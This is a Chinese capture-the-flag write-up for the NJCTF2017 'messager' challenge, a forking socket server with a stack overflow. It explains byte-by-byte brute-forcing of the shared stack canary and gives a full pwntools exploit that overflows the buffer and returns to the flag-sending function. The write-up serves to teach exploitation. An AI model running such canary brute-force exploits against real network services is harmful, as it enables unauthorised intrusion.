NJCTF2017-messager

2018-08-29  本文已影响0人  2mpossible

最近刚做了道利用canary泄漏地址的题,想着顺便把canary爆破的题也做做,于是找到了这题

题目在5555端口模拟了一个socket通信服务端程序,服务端每次收到连接请求后,就fork一个子进程来与之通信。

漏洞点 保护

recv()函数接收0x400个字符,s只有0x68大小的空间(去除canary部分),所以造成栈溢出,但由于程序开了canary,所以要先爆破canary,由于程序一直运行着,fork的子进程canary值与父进程的值一样,所以每次爆破1字节canary,分8次爆破

image.png

可以根据回显来判断程序是否崩了,从而判断canary是否正确

stack smashing 没有stack smashing

最后得到canary利用栈溢出ret到send flag的函数即可


send flag

完整exp:

from pwn import *
context.log_level = 'WARN'

def leak_canary():
    canary = ''
    for j in range(8):
        for i in range(255):
            try:
                p = remote('127.0.0.1',5555)
                p.recvuntil('Welcome!\n')
                paylaod = 'a'*(0x70 - 8)  + canary + chr(i)
                p.send(paylaod)
                msg = p.recvuntil('\n')
                if 'received!' in msg :
                    print 'lucky!!!'
                    canary += chr(i)
                    #print canary.encode('hex')
                    p.close()
                    break
                p.close()
            except Exception as e:
                p.close()
            
    print 'canary : 0x%x' %int(canary.encode('hex'),16)
    return int(canary.encode('hex'),16)

def pwn():
    canary = leak_canary()
    #canary = 0x2a62ba63729b55
    p = remote('127.0.0.1',5555)
    p.recvuntil('Welcome!\n')
    paylaod = 'a'*0x68 + struct.pack('>q',canary) + 'aaaaaaaa' + p64(0x400bc6)
    p.send(paylaod)
    flag = p.recvuntil('}')
    print flag
    p.interactive()


pwn()
上一篇下一篇

猜你喜欢

热点阅读